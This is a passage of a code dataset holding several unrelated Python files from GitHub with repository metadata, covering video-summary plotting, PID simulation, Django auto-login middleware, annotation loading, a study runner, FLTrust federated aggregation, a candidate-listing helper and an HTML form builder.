images = plot_summary_frames(summary_frames, gt_name)\n \n f, (ax1, ax2) = plt.subplots(2, 1, sharey=True)\n \n ax1.bar(np.arange(new_preds.shape[0]), np.squeeze(new_preds,axis=-1), \n align='center', alpha=0.5,\n color='r')\n ax1.plot(mms)\n ax1.set_title('Ground truth and selected summary for video: '+ gt_name)\n ax1.set_ylabel('Normalised user scores')\n x = np.arange(1000, 3000, 1)\n ax2.plot(x,mms[1000:3000])\n ax2.bar(x, np.squeeze(new_preds[1000:3000],axis=-1), \n align='center', alpha=0.5,\n color='r')\n ax2.set_xlabel('Frame number')\n f.savefig('Plots/TvSum_Plot_good.png', format='png', dpi=plots_dpi)\n images.savefig('Plots/TvSum_summframe_good.png', format='png', dpi=images_dpi)\n \n if gt_name == plot2_bad:\n \n video_file = read_video(gt_name)\n working_preds = new_preds[200:2200]\n summary_frames = getSummary_frames(video_file, working_preds)\n \n saveStartEndofSnippet(video_file, new_preds, 'bad')\n \n images = plot_summary_frames(summary_frames, gt_name)\n \n f, (ax1, ax2) = plt.subplots(2, 1, sharey=True)\n ax1.bar(np.arange(new_preds.shape[0]), np.squeeze(new_preds,axis=-1), \n align='center', alpha=0.5,\n color='r')\n ax1.plot(mms)\n ax1.set_title('Ground truth and selected summary for video: '+ gt_name)\n ax1.set_ylabel('Normalised user scores')\n x = np.arange(200, 2200, 1)\n ax2.plot(x,mms[200:2200])\n ax2.bar(x, np.squeeze(new_preds[200:2200],axis=-1), \n align='center', alpha=0.5,\n color='r')\n ax2.set_xlabel('Frame number')\n f.savefig('Plots/TvSum_Plot_bad.png', format='png', dpi=plots_dpi)\n images.savefig('Plots/TvSum_summframe_bad.png', format='png', dpi=images_dpi)\n \nplot_results()\n", "repo_name": "Ziyad07/Video-Summarisation", "sub_path": "code/TvSum50/plot_results.py", "file_name": "plot_results.py", "file_ext": "py", "file_size_in_byte": 6570, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.zeros", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "cv2.cvtColor", "line_number": 47, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 47, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 48, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 48, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 49, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 49, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 50, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 50, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 51, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 52, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 52, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "cv2.cvtColor", "line_number": 67, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 67, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.image.imsave", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.image", "line_number": 76, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 76, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 76, "usage_type": "attribute"}, {"api_name": "matplotlib.image.imsave", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.image", "line_number": 77, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 77, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 77, "usage_type": "attribute"}, {"api_name": "matplotlib.image.imsave", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.image", "line_number": 85, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 85, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 85, "usage_type": "attribute"}, {"api_name": "matplotlib.image.imsave", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.image", "line_number": 88, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 88, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 88, "usage_type": "attribute"}, {"api_name": "scipy.io.loadmat", "line_number": 92, "usage_type": "call"}, {"api_name": "scipy.io", "line_number": 92, "usage_type": "name"}, {"api_name": "unicodedata.normalize", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 103, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.MinMaxScaler", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.count_nonzero", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 148, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 148, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 157, "usage_type": "call"}]} {"seq_id": "25070223550", "text": "\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\nfrom particle import Particle\nfrom pid import PID\n\nacc = []\npos = []\nvel = []\n\n# particle init condition\nweight = 10.0\nposition = 10.0\nvelocity = 0.0\n\n# time condition\ninit_time = 0.0\nfinal_time = 100\ndt = 0.01\n\n# pid param\ntarget = 0.0\nkp = 100\nki = 0\nkd = 100\n\nclass Control:\n def __init__(self):\n self.point = None\n self.timestamp = []\n \n self.pid = None\n \n def set_point(self, weight, position, velocity):\n self.point = Particle(weight, position, velocity)\n \n def set_PID(self, p, i, d, que_len):\n self.pid = PID(que_len)\n self.pid.set_param(p, i, d)\n \n def set_timestamp(self, init, final, dt):\n self.timestamp = np.arange(init_time, final_time, dt)\n \n def start(self, target, dt):\n if type(target) != list:\n target = [target]\n sep = len(self.timestamp)/len(target)\n \n acc = []\n pos = []\n vel = []\n now_target = target[0]\n for i, a in enumerate(self.timestamp):\n for count, x in enumerate(target):\n if i > sep*count:\n now_target = x\n\n a, v, p = self.point.force(self.pid.calc(self.point.position, now_target, dt), dt)\n acc.append(a)\n pos.append(p)\n vel.append(v)\n \n return pd.DataFrame({\"acc\":acc, \"vel\":vel, \"pos\":pos}, index=self.timestamp)\n\nif __name__ == '__main__':\n ctl = Control()\n ctl.set_point(10, 1, 0)\n ctl.set_PID(1, 0, 0, 100)\n ctl.set_timestamp(0, 30, 0.01)\n ctl.start([0], dt)\n ", "repo_name": "jeongleo/MyJupyter", "sub_path": "PID/control.py", "file_name": "control.py", "file_ext": "py", "file_size_in_byte": 1642, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "particle.Particle", "line_number": 37, "usage_type": "call"}, {"api_name": "pid.PID", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 44, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 65, "usage_type": "call"}]} {"seq_id": "40816031041", "text": "from django.contrib.auth import get_backends, login\nfrom django.contrib.auth.models import User\nfrom django.utils.deprecation import MiddlewareMixin\n\nUSERNAME = 'user'\n\n\nclass AutoLoginMiddleware(MiddlewareMixin):\n \"\"\"\n Middleware to login user automatically when the application\n is running as part of another environment\n \"\"\"\n\n def process_request(self, request):\n if hasattr(request, 'user'):\n return\n\n User.objects.filter(username=USERNAME).exists() or User.objects.create_user(USERNAME)\n user = User.objects.filter(username=USERNAME)\n backend = get_backends()[0]\n user = user[0]\n user.backend = f'{backend.__module__}.{backend.__class__.__name__}'\n login(request, user)\n", "repo_name": "uktrade/data-explorer", "sub_path": "explorer/middleware.py", "file_name": "middleware.py", "file_ext": "py", "file_size_in_byte": 758, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.utils.deprecation.MiddlewareMixin", "line_number": 8, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 18, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 18, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.create_user", "line_number": 18, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.filter", "line_number": 19, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 19, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 19, "usage_type": "name"}, {"api_name": "django.contrib.auth.get_backends", "line_number": 20, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 23, "usage_type": "call"}]} {"seq_id": "9818238184", "text": "\nimport json\nimport logging\n\nfrom pyannotate.annotation_object import BoxAnnotation\n\n# load logger\nlogger = logging.getLogger(\"AnnotationLoader\")\n\nclass AnnotationLoader:\n\t\"\"\"\n\t\tBasically a BoxAnnotationLoader, since load detected boxes by default\n\t\"\"\"\n\n\tdef __init__(self, annotation_class=BoxAnnotation):\n\n\t\tself.annotation_class = annotation_class\n\n\n\tdef load_annotation_file(self, file_path):\n\n\t\tjson_data = None \n\n\t\twith open(file_path, 'r') as f:\t\t\t\n\t\t\tjson_data = json.load(f)\n\n\t\t# should have annotations for each frame (can be empty)\n\t\tif not len(json_data['frames']) == json_data['frame_count']:\n\t\t\traise RuntimeError('Annotation file invalid, number of annotations and frame count disagree.')\n\n\t\tobjects_for_frames = []\n\n\t\t# keep track of all the loaded class names\n\t\tclass_names = set()\n\t\tobj_ids = set()\n\n\t\t# load all the frames\n\t\tfor frame_ind, frame in enumerate(json_data['frames']):\n\n\t\t\t# create a list of list of detection for this frame\n\t\t\tobjects_for_frames.append( [self.create_detection_object(det) for det in frame['objects']])\n\n\t\t\t# keep track which class names and object ids are found in the file\n\t\t\tfor annotation in objects_for_frames[frame_ind]:\n\t\t\t\tclass_names = class_names.union([annotation.class_name])\n\t\t\t\tobj_ids = obj_ids.union([annotation.obj_id])\n\n\n\t\treturn objects_for_frames, class_names, obj_ids\n\n\t\t\t\n\t\t\n\tdef create_detection_object(self,detection_json):\n\n\t\t\"\"\"\n\t\t\tformat the incoming detected json to whatever format wanted\n\t\t\tThe default class create is a BoxAnnotation.\n\n\t\t\tTo use different detection formats, override this method\n\t\t\"\"\"\n\n\t\tprint(f\"Creating detection object with annotation class {self.annotation_class}\")\n\n\t\treturn self.annotation_class.from_detection_json(detection_json)\n\n\n\tdef save_annotation_file(self, file_path, annotations):\n\n\t\t\"\"\"\n\t\t\tCalls the detection objects to json method for each detection.\n\t\t\tAllows different detection classes \n\t\t\"\"\"\n\n\t\troot = {\n\t\t\t\t'frame_count' : len(annotations),\n\t\t\t\t'frames' : []\n\t\t\t\t}\n\t\t\n\t\t\n\t\tfor frame_ind, frame in enumerate(annotations):\n\n\t\t\tframe_dict ={\n\t\t\t\t\t\t 'frame_index' : frame_ind,\n\t\t\t\t\t\t 'objects' : [ detection.detection_to_json() for detection in frame ]\n\t\t\t\t\t\t}\n\n\t\t\troot['frames'].append(frame_dict)\n\n\t\twith open(file_path, 'w') as f:\t\t\t\n\t\t\tjson.dump(root, f, indent=2)\n\n\n\n\n", "repo_name": "miikama/pyvideoannotate", "sub_path": "pyannotate/annotation_loader.py", "file_name": "annotation_loader.py", "file_ext": "py", "file_size_in_byte": 2289, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "pyannotate.annotation_object.BoxAnnotation", "line_number": 15, "usage_type": "name"}, {"api_name": "json.load", "line_number": 25, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 90, "usage_type": "call"}]} {"seq_id": "39363194135", "text": "# run_study.py\r\n\r\n\"\"\"This script is necessary for using subprocessing. In \\power-system-tools\\interface_tools\\gui_classes\\widget_classes.py,\r\nthe line subprocess.run([INTERPERTER_PATHS[script_type], r'run_study.py', self.project_id, script_type, study], check=True) effectively\r\nruns this script as if from the command line. the parameters project_id, study_type, and study are passed as if they were command\r\nline arguments. This is necessary to accomodate software APIs requiring different Python interperters.\"\"\"\r\n\r\nimport sys\r\nimport importlib\r\nimport datetime\r\nimport os\r\nimport logging\r\n\r\nimport interface_tools.gui_classes.widget_classes as wc\r\nimport interface_tools.project_manager.project_management as pm\r\n\r\n\r\ndef run_study(project_id: str, study_script: str, study_name: str) -> None:\r\n \"\"\"This function is run to allow the use of modeules in PS software's test_scripts directories as subprocesses. Modules in the test_scripts directories are imported dynamically.\r\n\r\n Args:\r\n project_id (str): The id of the project\r\n study_script (str): This is the module to import. It will be in form 'software_tools.[SOFTWARE]_tools.test_scripts.{study_script}.py'\r\n study_name (str): The name of the function in the study_script to be run.\r\n Returns:\r\n None\r\n \"\"\"\r\n study_module = importlib.import_module(\r\n study_script\r\n ) # Dynamically import module based on the study to be run\r\n study_function = getattr(\r\n study_module, study_name\r\n ) # Get the function in the imported module to be run\r\n study_function(project_id) # ALL PSSE studies take project_id as a argument\r\n\r\n\r\nif __name__ == \"__main__\":\r\n project_id = sys.argv[1]\r\n study_script = sys.argv[2]\r\n study_name = sys.argv[3]\r\n this_proj = pm.Project(project_id)\r\n logs_path = os.path.join(this_proj.output_dir, \"logs\")\r\n if not os.path.exists(logs_path):\r\n os.mkdir(logs_path)\r\n logger = logging.getLogger()\r\n logger.setLevel(logging.INFO)\r\n now = datetime.datetime.now()\r\n date_time_prefix = now.strftime(\"%Y%m%d_%H%M\")\r\n path = os.path.join(logs_path, f\"{date_time_prefix}_{study_script}.log\")\r\n file_handler = logging.FileHandler(path)\r\n file_handler.setFormatter(\r\n logging.Formatter(\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\")\r\n )\r\n # Add the file handler to the logger\r\n logger.addHandler(file_handler)\r\n run_study(project_id, study_script, study_name)\r\n logger.removeHandler(\r\n file_handler\r\n ) # Remove the file handler so it doesn't interfere with the nextfunction\r\n sys.exit()\r\n", "repo_name": "lightmanrsa/Power_systems", "sub_path": "run_study.py", "file_name": "run_study.py", "file_ext": "py", "file_size_in_byte": 2616, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "importlib.import_module", "line_number": 28, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 38, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 39, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 40, "usage_type": "attribute"}, {"api_name": "interface_tools.project_manager.project_management.Project", "line_number": 41, "usage_type": "call"}, {"api_name": "interface_tools.project_manager.project_management", "line_number": 41, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 44, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 45, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 46, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 50, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 52, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 60, "usage_type": "call"}]} {"seq_id": "72413232550", "text": "import copy\n\nimport numpy as np\nimport torch\nfrom torch import optim, nn\nfrom tqdm import tqdm\n\nfrom Datasets.public_dataset import get_public_dataset\nfrom Sever.utils.sever_methods import SeverMethod\n\nfrom utils.utils import row_into_parameters\n\n\nclass FLTrustSever(SeverMethod):\n NAME = 'FLTrustSever'\n\n def __init__(self, args, cfg):\n super(FLTrustSever, self).__init__(args, cfg)\n\n public_dataset_name = cfg.Sever[self.NAME].public_dataset_name\n pub_len = cfg.Sever[self.NAME].pub_len\n pub_aug = cfg.Sever[self.NAME].pub_aug\n public_batch_size = cfg.Sever[self.NAME].public_batch_size\n self.public_epoch = cfg.Sever[self.NAME].public_epoch\n self.public_dataset = get_public_dataset(args, cfg, public_dataset_name=public_dataset_name,\n pub_len=pub_len, pub_aug=pub_aug, public_batch_size=public_batch_size)\n self.public_dataset.get_data_loaders()\n self.public_loader = self.public_dataset.traindl\n\n def sever_update(self, **kwargs):\n\n online_clients_list = kwargs['online_clients_list']\n\n global_net = kwargs['global_net']\n nets_list = kwargs['nets_list']\n temp_net = copy.deepcopy(global_net)\n\n with torch.no_grad():\n all_delta = []\n global_net_para = []\n add_global = True\n for i in online_clients_list:\n\n net_all_delta = []\n for name, param0 in temp_net.state_dict().items():\n param1 = nets_list[i].state_dict()[name]\n delta = (param1.detach() - param0.detach())\n\n net_all_delta.append(copy.deepcopy(delta.view(-1)))\n if add_global:\n weights = copy.deepcopy(param0.detach().view(-1))\n global_net_para.append(weights)\n\n add_global = False\n net_all_delta = torch.cat(net_all_delta, dim=0).cpu().numpy()\n all_delta.append(net_all_delta)\n\n all_delta = np.array(all_delta)\n global_net_para = np.array(torch.cat(global_net_para, dim=0).cpu().numpy())\n\n criterion = nn.CrossEntropyLoss()\n iterator = tqdm(range(self.public_epoch))\n optimizer = optim.SGD(temp_net.parameters(), lr=self.cfg.OPTIMIZER.local_train_lr,\n momentum=self.cfg.OPTIMIZER.momentum, weight_decay=self.cfg.OPTIMIZER.weight_decay)\n for _ in iterator:\n for batch_idx, (images, labels) in enumerate(self.public_loader):\n images = images\n images = images.to(self.device)\n labels = labels.to(self.device)\n outputs = temp_net(images)\n loss = criterion(outputs, labels)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n with torch.no_grad():\n global_delta = []\n for name, param0 in temp_net.state_dict().items():\n param1 = global_net.state_dict()[name]\n delta = (param0.detach() - param1.detach())\n global_delta.append(copy.deepcopy(delta.view(-1)))\n\n global_delta = torch.cat(global_delta, dim=0).cpu().numpy()\n global_delta = np.array(global_delta)\n\n total_TS = 0\n TSnorm = []\n for d in all_delta:\n tmp_weight = copy.deepcopy(d)\n\n TS = np.dot(tmp_weight, global_delta) / (np.linalg.norm(tmp_weight) * np.linalg.norm(global_delta) + 1e-5)\n # print(TS)\n if TS < 0:\n TS = 0\n total_TS += TS\n\n norm = np.linalg.norm(global_delta) / (np.linalg.norm(tmp_weight) + 1e-5)\n TSnorm.append(TS * norm)\n\n delta_weight = np.sum(np.array(TSnorm).reshape(-1, 1) * all_delta, axis=0) / (total_TS + 1e-5)\n new_global_net_para = global_net_para + delta_weight\n row_into_parameters(new_global_net_para, global_net.parameters())\n for _, net in enumerate(nets_list):\n net.load_state_dict(global_net.state_dict())\n\n", "repo_name": "WenkeHuang/MarsFL", "sub_path": "Sever/FLTrustSever.py", "file_name": "FLTrustSever.py", "file_ext": "py", "file_size_in_byte": 4119, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 17, "dataset": "github-code", "pt": "71", "api": [{"api_name": "Sever.utils.sever_methods.SeverMethod", "line_number": 14, "usage_type": "name"}, {"api_name": "Datasets.public_dataset.get_public_dataset", "line_number": 25, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 38, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 49, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 61, "usage_type": "name"}, {"api_name": "tqdm.tqdm", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.optim.SGD", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 63, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 76, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 84, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 91, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 97, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 100, "usage_type": "call"}, {"api_name": "utils.utils.row_into_parameters", "line_number": 102, "usage_type": "call"}]} {"seq_id": "33869409824", "text": "import json\n\n\ndef load_candidates(): # Загрузит данные из файла\n \"\"\"\n Загружает из файла список кандидатов\n Возвращает list[dict]\n \"\"\"\n with open('candidates.json', encoding='utf-8') as file:\n candidates = json.load(file)\n return candidates\n\n\ndef get_all(): # Покажет всех кандидатов\n \"\"\"\n :return: форматированный список всех кандидатов str\n \"\"\"\n candidates = load_candidates()\n result = '
'\n    for cand in candidates:\n        result += f\"Имя кандидата : {cand['name']}\\nПозиция: {cand['position']}\\nНавыки: {cand['skills']}\\n\\n\"\n    result += '
'\n    return result\n\n\ndef get_by_pk(pk: int) -> str:  # которая вернет кандидата по pk\n    \"\"\"\n    :param pk: id candidate\n    :return: форматированную колонку кандидата по id\n    \"\"\"\n    candidates = load_candidates()\n    result: str = '
'\n    for cand in candidates:\n        if cand['pk'] == pk:\n            url = cand['picture']\n            result += f\"\\nИмя кандидата: {cand['name']}\\nПозиция: {cand['position']}\\nНавыки: {cand['skills']}\\n\\n\"\n    result += '
'\n    return result\n\n\ndef get_by_skill(skill_name: str) -> str:  # которая вернет кандидатов по навыку\n    \"\"\"\n    :param skill_name: строка со скилом\n    :return: форматированную строку всех подходящих кандидатов\n    \"\"\"\n    candidates = load_candidates()\n    result = '
'\n    for cand in candidates:\n        skill_name = skill_name.lower()\n        skill_str = cand[\"skills\"]\n        skill_str = skill_str.lower()\n        if skill_name in skill_str:\n            url = cand['picture']\n            result += f\"\\nИмя кандидата: {cand['name']}\\nПозиция: {cand['position']}\\nНавыки: {cand['skills']}\\n\\n\"\n    result += '
'\n    return result\n", "repo_name": "Sergo1613/Hw_10", "sub_path": "utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 2114, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.load", "line_number": 10, "usage_type": "call"}]}
{"seq_id": "37020661524", "text": "# coding=utf-8\nimport bottle\nfrom bottle import html_escape\n\ndef escape_value(value):\n\tif str(type(value)) == \"\":\n\t\tvalue = str(value)\n\telif type(value) == str:\n\t\tvalue = html_escape(value)\n\n\treturn value\n\n\nclass Types:\n\tHIDDEN_TYPE = \"hidden\"\n\tMULTI_HIDDEN_TYPE = \"multihidden\"\n\tINT_TYPE = \"int\"\n\tTEXT_TYPE = \"text\"\n\tPASSWORD_TYPE = \"password\"\n\tTEXTAREA_TYPE = \"textarea\"\n\tCHECKBOX_TYPE = \"checkbox\"\n\tRADIO_TYPE = \"radio\"\n\tSELECT_TYPE = \"select\"\n\tMULTI_SELECT_TYPE = \"multiselect\"\n\tFILE_TYPE = \"file\"\n\n\nclass FormBuilder:\n\tdef __init__(self, formitems=[], validator=None, entity=None):\n\t\tself.formitems = formitems\n\t\tself.errors = []\n\t\tself.validator = validator\n\n\t\tif entity:\n\t\t\tfor item in formitems:\n\t\t\t\tif hasattr(entity, item.name):\n\t\t\t\t\titem.bind_value(getattr(entity, item.name))\n\n\n\tdef get_value(self, name):\n\t\tfor item in self.formitems:\n\t\t\tif item.name == name:\n\t\t\t\tif item.value and type(item.value) == list:\n\t\t\t\t\tescaped_list = []\n\t\t\t\t\tfor i in item.value:\n\t\t\t\t\t\tescaped_list.append(escape_value(i))\n\n\t\t\t\t\tvalue = escaped_list\n\t\t\t\telse:\n\t\t\t\t\tvalue = escape_value(item.value)\n\t\t\t\t\n\t\t\t\treturn value\n\n\t\treturn None\n\n\n\tdef set_value(self, name, value):\n\t\tfor item in self.formitems:\n\t\t\tif item.name == name:\n\t\t\t\titem.bind_value(value)\n\n\n\tdef hydrate_entity(self, entity):\n\t\tfor item in self.formitems:\n\t\t\tif hasattr(entity, item.name) or item.name == '_id':\n\t\t\t\tsetattr(entity, item.name, item.value)\n\n\t\treturn entity\n\n\n\tdef is_valid(self):\n\t\tfor item in self.formitems:\n\t\t\tif not item.is_valid():\n\t\t\t\tif item.error_message not in self.errors:\n\t\t\t\t\tself.errors.append(item.error_message)\n\n\t\tif self.validator:\n\t\t\tself.errors.extend(self.validator(self))\n\n\t\treturn len(self.errors) == 0\n\n\tdef get_html(self, action='', method='post', row_class=None, form_id=None, form_class=None\\\n\t\t\t\t\t,submit_btn_class=None, submit_btn_text='Save',cancel_btn_class=None, cancel_btn_text='Cancel', cancel_btn_href=None, submit_container_class='col-sm-offset-2 col-sm-2'):\n\t\terrorshtml = ''\n\n\t\tidhtml = ''\n\t\tif form_id:\n\t\t\tidhtml = 'id=\"%s\"' % form_id\n\n\t\tformclasshtml = ''\n\t\tif form_class:\n\t\t\tformclasshtml = 'class=\"%s\"' % form_class\n\n\t\tenctypehtml = ''\n\t\tfor item in self.formitems:\n\t\t\tif item.type == Types.FILE_TYPE:\n\t\t\t\tenctypehtml = ' enctype=\"multipart/form-data\" '\n\n\t\tformhtml = '
' % (action, method, idhtml, formclasshtml, enctypehtml)\n\n\t\tif len(self.errors) > 0 != '':\n\t\t\terrorshtml = '
    '\n\t\t\tfor error in self.errors:\n\t\t\t\terrorshtml += '
  • %s
    • ' % error\n\t\t\terrorshtml += '
'\n\t\t\tself._is_valid = False\n\t\t\tformhtml += errorshtml\n\n\n\t\tfor item in self.formitems:\n\t\t\tformhtml += item.get_html(row_class)\n\t\t\t\n\t\tsubmitclasshtml = ''\n\t\tif submit_btn_class:\n\t\t\tsubmitclasshtml = 'class=\"%s\"' % submit_btn_class\n\n\t\trowclasshtml = ''\n\t\tif row_class:\n\t\t\trowclasshtml = 'class=\"%s\"' % row_class\n\n\t\tcancel_btn_html = ''\n\t\tif cancel_btn_href:\n\t\t\tcancelclasshtml = ''\n\t\t\tif cancel_btn_class:\n\t\t\t\tcancelclasshtml = 'class=\"%s\"' % cancel_btn_class\n\n\t\t\tcancel_btn_html += '%s' % (cancel_btn_href, cancelclasshtml, cancel_btn_text)\n\n\t\tsubmitcontainerclasshtml = ''\n\t\tif submit_container_class:\n\t\t\tsubmitcontainerclasshtml = 'class=\"%s\"' % submit_container_class\n\n\t\tformhtml += '
%s
' % (rowclasshtml, submitcontainerclasshtml, submit_btn_text, submitclasshtml, cancel_btn_html)\n\n\t\tformhtml += '
'\n\n\t\treturn formhtml\n\n\nclass FormItem:\n\tdef __init__(self, type, name, class_name='form-control', id=None, label_text=None, select_list_items=[], required=False, html=False, placeholder=None, label_class='control-label col-sm-2', input_container_class='col-sm-10'):\n\t\tself.type = type\n\t\tself.name = name\n\t\tself.class_name = class_name\n\t\tself.id = id\n\t\tself.label_text = label_text\n\t\tself.select_list_items = select_list_items\n\t\tself.required = required\n\t\tself.value = None\n\t\tself.error_message = ''\n\t\tself.html = html\n\t\tself.placeholder = placeholder\n\t\tself.label_class = label_class\n\t\tself.input_container_class = input_container_class\n\n\tdef is_valid(self):\n\t\tif self.label_text:\n\t\t\ttext = self.label_text\n\t\telse:\n\t\t\ttext = self.name\n\n\t\tif self.required and (self.value is None or str(self.value).strip() == ''):\n\t\t\tself.error_message = '%s is a required field' % text\n\t\t\treturn False\n\n\t\telif self.required and self.type == Types.INT_TYPE:\n\t\t\ttry:\n\t\t\t\tint(self.value)\n\t\t\t\treturn 